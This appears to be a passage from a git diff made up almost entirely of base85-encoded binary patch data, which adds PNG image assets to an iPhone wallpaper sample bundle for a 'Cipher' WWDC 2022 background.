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 literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe2.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe2.png new file mode 100644 index 0000000000000000000000000000000000000000..5cd5c1edef0c1130bd4db708d1b45f86549ec90d GIT binary patch literal 52898 zcmeFZcUY6zx+osUK}NA0#{vve)BqwSbfnwiqbevxdNxNbv86HK1glj+HO?kVKzw3U{)$GVlovR`c==_4ZSX3O)$8XaPNU7wVf^gR*_`k>7wDt!yUWyM zol%ql01)gK?j;u$929~zh%(+Kglho)FDORsk`p!w4>aE8WPMETP$$P5{%(J2WEPc-JmaFZcV*g3tZ|JOumO>cKvsqP)(c zG}P2le{FpBbZB@e_H^h!>GDVQ-#Yq5q5oXNKMW(N`CIdFwEsV8E~xoibFkOe*8h4H z!NLEq5N!C7NU#yVZR$Tv==XJFPvFn`q3ryyp%EA#zax=;A>q4)djUo>IE3-@3imq< z{u%GmRM*r|)zDDY&^@7{XP~ZUpsA~>uBWd4M`Plh_J3@+fuQxbNdeUSmoxga&!NzuPz;zHSc8^uvVT@VhYlUXg!-d{Kpoc3?4TTU zD}Yj-jLcf}9ScgZ)CV0LP4XY3Tg6l0U1R|7o>we0xA%V32P> z1*dBO1$zbfIih{TPyYqppEXu~Apw7{5}Z>|gaFY`hM>X8Y6>SQ?B(=l9ayNkI_fWD zIsd&*Ks<6rLXDN znV&Y*jfrm`E)oCfw8$CB>wB*18fa-9Il`~I+m@*3-rz8bT{(3~C1lUBlZr-nPS-0L z?KG&!6u;rjH({9cb_$R zcBC+cat?8beP_(_)Vzsy=#v3I=*H9&oCMJ=$=M$^p1jh(<@BiwHG%g%_RdY< z@xzqN4Ec@lYgP&@?+fc{ifSk{kJhw(R728WAyGZ z{O8+vwlQPjt#R#V6Y@e?`TzH?vY_IR4TzSCK==_~?UMZH1IXkpZZi^^y2TWY z5q}DEz93g#2?`R;IR#BOJRy=Jd}BfFJ12(@zc>DBQi(-Ko)hCp*}aK0=GCSf5|>hA 